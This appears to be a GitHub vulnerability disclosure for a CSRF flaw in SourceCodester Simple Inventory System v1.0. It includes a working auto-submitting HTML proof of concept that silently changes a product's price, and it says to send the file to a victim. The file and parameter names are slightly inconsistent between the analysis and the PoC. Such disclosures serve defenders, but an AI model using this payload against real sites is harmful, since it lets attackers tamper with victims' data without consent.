Skip to content

Latest commit

 

History

History
44 lines (30 loc) · 1.97 KB

SourceCodester Simple Inventory System CSRF.md

File metadata and controls

44 lines (30 loc) · 1.97 KB

CSRF vulnerability exists in Sourcecodester Simple Inventory System

official website:https://www.sourcecodester.com/php/4481/simple-inventory-system-using-phpmysql.html

version:v1.0

route:/tableedit.php#page=editprice

injection parameter:$_POST['itemnumber']

1.Vulnerability analysis

As shown in the figure below, in tableedit.php, after the front-end sends the modified price data packet through the form form, there is a lack of token verification mechanism, and the back-end updateproduct.php is directly spliced into the SQL update statement, resulting in a CSRF vulnerability. We can change client user data by constructing malicious request packets.

image-20240517163532892

image-20240517163554229

2.Vulnerability verification and exploit

The construction poc is as follows. Save it as an html file and send it to the victim to click, so that the product price can be modified.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://10.15.6.184:82/updateprice.php" method="POST">
      <input type="hidden" name="ITEM" value="1" />
      <input type="hidden" name="itemprice" value="888" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

image-20240517164018816

After clicking on the html file, the price is modified to 888.

image-20240517164148946